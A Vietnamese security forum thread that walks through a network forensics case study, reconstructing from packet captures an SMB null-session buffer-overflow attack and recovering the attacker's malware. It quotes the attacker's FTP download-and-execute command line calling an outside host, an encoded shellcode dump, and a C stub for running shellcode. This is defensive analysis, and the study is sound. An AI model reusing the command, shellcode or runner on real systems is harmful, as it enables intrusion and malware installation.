Forensic 3 - Network Forensics(tiếp)

Thảo luận trong 'Infrastructure security' bắt đầu bởi ping, 07/04/14, 02:04 PM.

  1. ping

    ping Super Moderator

    Tham gia: 19/06/13, 09:06 AM
    Bài viết: 102
    Đã được thích: 33
    Điểm thành tích:
    48
    Chúng ta tiếp tục với Case Study về Network Forensics, trong phần này tôi sẽ đề cập sâu hơn về cuộc tấn công của Hacker

    6. Mô phỏng lại cuộc tấn công của Hacker
    6.1. Quét cổng 445 để xem cổng này có mở không, điều này thể hiện qua các gói tin SYN, SYN/ACK, ACK, FYN liên tục

    [​IMG]


    6.2. Thiết lập kết nối IPC và request đến dịch vụ lsarpc

    [​IMG]

    Bạn đọc có thể tìm hiểu thêm về hình thức kết nối IPC$, ở đây hacker đã gửi kết nối với giá trị username và password đều rỗng, còn được biết đến với kiểu tấn công Null Session.


    6.3. Khai thác lỗi Buffer Over Flow của hàm DsRoleUpgradeDownlevelServer() thông qua việc truyền shellcode(Frame #33)

    [​IMG]


    6.4. Shellcode mở cổng 1957 cho phép backdoor chạy trên đó, hacker qua cổng này truyền command vào(Frame #42)

    [​IMG]

    Lệnh mà hacker thực hiện là:

    Mã:
    echo open 0.0.0.0 8884 > o&echo user 1 1 >> o &echo get ssms.exe >> o &echo quit >> o &ftp  -n -s:o &del /F /Q o &ssms.exe
    Lệnh này có tác dụng yêu cầu máy nạn nhân kết nối ftp đến cổng 8884 của hacker và download file ssms.exe sau đó thực thi file này. Đến đây việc khai thác coi như hoàn thành.

    Mọi người có thể chú ý thêm các frame từ #71 về sau, đây là các đoạn nhận file ssms.exe, file được gửi qua socket thành các mảnh nhỏ và ghép lại sau đó

    [​IMG]


    7. Truy tìm mã độc
    Như vậy là chúng ta đã hình dung được cuộc tấn công xảy ra như thế nào, nhưng một vụ điều tra thì không chỉ có vậy. Phải xác định được mã độc mà hacker sử dụng hoạt động như thế nào, nhưng trước hết cần thu được mẫu này.

    Đầu tiên là Shellcode mà hacker đã sử dụng. Chọn Frame #33, trong khung Packet Bytes chọn chế độ Reassembled TCP chúng ta sẽ thấy đầy đủ nội dung mà hacker gửi đến máy nạn nhân.(Khi gửi tin qua TCP thì dữ liệu có thể phân mảnh ở nhiều gói tin khác nhau, Reassembled TCP sẽ giúp chúng ta ghép các mảnh dữ liệu này lại với nhau)

    [​IMG]


    Sau khi loại bỏ các lệnh NOPE(mã 90) thì thu được shellcode thực sự mà hacker đã dùng:

    Mã:
    xebx10x5ax4ax33xc9x66xb9x7dx01x80x34x0ax99xe2xfaxebx05xe8xebxffxffxffx70x95x98x99x99xc3xfdx38xa9x99x99x99x12xd9x95x12xe9x85x34x12xd9x91x12x41x12xeaxa5x12xedx87xe1x9ax6ax12xe7xb9x9ax62x12xd7x8dxaax74xcfxcexc8x12xa6x9ax62x12x6bxf3x97xc0x6ax3fxedx91xc0xc6x1ax5ex9dxdcx7bx70xc0xc6xc7x12x54x12xdfxbdx9ax5ax48x78x9ax58xaax50xffx12x91x12xdfx85x9ax5ax58x78x9bx9ax58x12x99x9ax5ax12x63x12x6ex1ax5fx97x12x49xf3x9axc0x71x1ex99x99x99x1ax5fx94xcbxcfx66xcex65xc3x12x41xf3x9cxc0x71xedx99x99x99xc9xc9xc9xc9xf3x98xf3x9bx66xcex75x12x41x5ex9ex9bx99x9ex3cxaax59x10xdex9dxf3x89xcexcax66xcex69xf3x98xcax66xcex6dxc9xc9xcax66xcex61x12x49x1ax75xddx12x6dxaax59xf3x89xc0x10x9dx17x7bx62x10xcfxa1x10xcfxa5x10xcfxd9xffx5exdfxb5x98x98x14xdex89xc9xcfxaax50xc8xc8xc8xf3x98xc8xc8x5exdexa5xfaxf4xfdx99x14xdexa5xc9xc8x66xcex79xcbx66xcex65xcax66xcex65xc9x66xcex7dxaax59x35x1cx59xecx60xc8xcbxcfxcax66x4bxc3xc0x32x7bx77xaax59x5ax71x76x67x66x66xdexfcxedxc9xebxf6xfaxd8xfdxfdxebxfcxeaxeax99xdaxebxfcxf8xedxfcxc9xebxf6xfaxfcxeaxeaxd8x99xdcxe1xf0xedxcdxf1xebxfcxf8xfdx99xd5xf6xf8xfdxd5xf0xfbxebxf8xebxe0xd8x99xeexeaxabxc6xaaxabx99xcexcaxd8xcaxf6xfaxf2xfcxedxd8x99xfbxf0xf7xfdx99xf5xf0xeaxedxfcxf7x99xf8xfaxfaxfcxe9xedx99xfaxf5xf6xeaxfcxeaxf6xfaxf2xfcxedx99
    Chúng ta tiến hành phục hồi shellcode này bằng cách đưa đoạn shellcode này vào một chương trình test shell như thế này:

    Mã:
    #include
    #include
     
    unsigned char code[] = "";
     
    int main()
    {
        int (*ret)() = (int(*)())code;
        ret();
    }
    
    Với file ssms.exe, như tôi đã trình bày ở phần trước được download về máy nạn nhân thông qua socket và cũng bị phân mảnh trong nhiều gói tin. Gộp file đầy đủ bằng cách sử dụng tính năng Follow TCP Stream của Wireshark

    [​IMG]


    Save As file này ra .exe

    8. Phân tích mã độc
    Ở bước trên, chúng ta đã thu được một file shellcode và một file ssms.exe. Việc tiếp theo là phân tích cụ thể xem những file thực thi này làm việc gì trên máy nạn nhân. Bạn đọc nên đọc thêm lọat bài về Reverse Engineering trên WhiteHat để hiểu rõ về công việc này.

    Tôi sẽ không phân tích kỹ bước này ở đây, lí do là sẽ vượt xa phạm vi chủ đề Network Forensics. Kết quả kiểm tra ssms.exe trên virustotal cũng không mấy ngạc nhiên khi 48/51 AV nhận diện là virus:
    https://www.virustotal.com/en/file/...69d3dffd65733871cddf6b6d/analysis/1396850758/

    Đến đây cuộc điều tra cũng có thể xem như đi đến hồi kết, chúng ta đã tìm ra được một số thông tin về hacker (mặc dù để tìm ra kẻ tấn công ngoài đời thì cần phụ thuộc cả vào yếu tố pháp luật hơn). Dưới góc độ kỹ thuật thì chúng ta biết được cách hacker tấn công hệ thống như thế nào, biết được hệ thống bị dính những lỗ hổng gì và những nguy cơ tiềm ẩn trong đó để cập nhật bản vá và khắc phục sự cố không tái diễn trong tương lai.
    Trong các bài viết sắp tới, tôi sẽ tiếp tục về những mảng khác của Computer Forensics.
     
    Last edited by a moderator: 15/09/14, 04:09 PM
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
    tên and newbiewantstosee like this.
  2. e gà lắm

    e gà lắm W-------

    Tham gia: 21/10/13, 12:10 PM
    Bài viết: 17
    Đã được thích: 0
    Điểm thành tích:
    16
    Re: Forensic 3 - Network Forensics(tiếp)

    Bài Hay quá hóng phần tiếp :D
     
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  3. Skynet103

    Skynet103 W-------

    Tham gia: 15/05/15, 01:05 PM
    Bài viết: 11
    Đã được thích: 0
    Điểm thành tích:
    16
    Re: Forensic 3 - Network Forensics(tiếp)

    làm thế nào để loại bỏ dc các lệnh NOPE vậy bạn :D
     
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  4. Tesla123

    Tesla123 VIP Members

    Tham gia: 25/03/14, 12:03 AM
    Bài viết: 142
    Đã được thích: 9
    Điểm thành tích:
    38
    Re: Forensic 3 - Network Forensics(tiếp)

    code = code.replace('\x90','')
     
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  5. Skynet103

    Skynet103 W-------

    Tham gia: 15/05/15, 01:05 PM
    Bài viết: 11
    Đã được thích: 0
    Điểm thành tích:
    16
    Re: Forensic 3 - Network Forensics(tiếp)

    code ntn vậy bạn. Nói rõ giúp mình dc k :D
     
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  6. Tesla123

    Tesla123 VIP Members

    Tham gia: 25/03/14, 12:03 AM
    Bài viết: 142
    Đã được thích: 9
    Điểm thành tích:
    38
    Re: Forensic 3 - Network Forensics(tiếp)

    Thì nó chỉ là cách banj lập trình thôi (C/C++/python/ruby/...), mình không giải thích thêm nữa.
     
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  7. NguyenPhúc

    NguyenPhúc New Member

    Tham gia: 22/10/17, 09:10 PM
    Bài viết: 1
    Đã được thích: 0
    Điểm thành tích:
    1
    Bài phân tích hay quá! Cảm ơn
     
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  8. Sivuu Master

    Sivuu Master New Member

    Tham gia: 11/06/18, 02:06 PM
    Bài viết: 1
    Đã được thích: 1
    Điểm thành tích:
    3
    Thực tế nếu thực hiện dòng lệnh code = code.replace("\x90") nó hiểu là thay thế hay chính xác hơn là loại bỏ mã 90(NOPE) khỏi đoạn mã trên. Về tác dụng hay mục đích sử dụng và tại sao xuất hiện mã này thì bạn nên tìm hiểu thêm bằng Google nhé.
     
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
    sunny thích bài này.